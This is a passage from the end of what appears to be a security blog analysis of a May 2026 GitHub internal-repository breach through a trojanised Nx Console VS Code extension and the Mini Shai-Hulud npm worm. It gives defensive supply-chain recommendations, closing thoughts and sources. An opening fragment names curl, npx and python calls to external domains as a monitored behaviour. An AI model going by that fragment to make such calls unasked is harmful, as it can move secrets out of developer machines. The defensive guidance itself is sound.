npx,curl,pythonagainst external domains)Secrets should be injected via environment at runtime, not stored on disk
10. Supply Chain Integrity Program
SBOM generation: Generate Software Bills of Materials for all internal projects to track dependencies
Dependency pinning: Pin
package.jsonto exact versions +package-lock.jsoncommitted and verified in CISigstore/cosign: Verify signatures on published artifacts before deployment
Renovate/Dependabot with review gates: Automated dependency updates require human review before merge
Closing Thoughts
The GitHub breach of May 2026 is not remarkable because GitHub failed at security. GitHub has one of the most mature security programs in the industry. It is remarkable because the attack bypassed every traditional security control (firewall, WAF, MFA, perimeter monitoring) by simply becoming a trusted tool that a developer chose to install.
The lesson is not "don't install extensions." That's operationally impossible in a modern engineering organization. The lesson is that the developer toolchain is now critical infrastructure, and it must be treated with the same rigor as production systems:
Extensions must be governed, not merely installed
Credentials must be short-lived, not merely protected
Developer machines must be monitored, not merely trusted
The supply chain must be verified, not merely assumed safe
In a world where AI-augmented development compounds the attack surface with autonomous agents, MCP servers, and automated code execution, the perimeter is no longer your network edge. The perimeter is trust itself. And TeamPCP just proved exactly how fragile that perimeter can be.
Sources & Further Reading
Sophos X-Ops Technical Threat Advisory: GitHub Internal Repositories Breached
StepSecurity Security Incident Report: Nx Console VS Code Extension Compromised
StepSecurity Threat Intel: TeamPCP's Mini Shai-Hulud Is Back: A Self-Spreading Supply Chain Attack Hits the npm Ecosystem
Wiz Security Blog: Mini Shai-Hulud Strikes Again: TanStack & More npm Packages Compromised
Endor Labs Ecosystem Research: Shai-Hulud Compromises the @tanstack Ecosystem: 80 Packages Compromised
The Hacker News Coverage: GitHub Internal Repositories Breached via Malicious Nx Console and Mini Shai-Hulud Worm Compromises TanStack, Mistral AI
BleepingComputer Coverage: GitHub Links Repo Breach to TanStack npm Supply-Chain Attack
ThreatLocker Analysis: GitHub Confirms Compromised Nx Console Extension
Help Net Security Report: TeamPCP Breached GitHub's Internal Codebase
Phoenix Security Threat Analysis: VS Code Extension Malware: How TeamPCP Breached GitHub
TechCrunch Security Report: GitHub Says Hackers Stole Data From Thousands of Internal Repositories
OX Security Threat Blog: TeamPCP Strikes Again: How a Trojan VS Code Extension Brought Down GitHub
Community Response Tools: GitHub: safedep/shai-hulud-migration-response and safedep/shai-hulud Threat Engine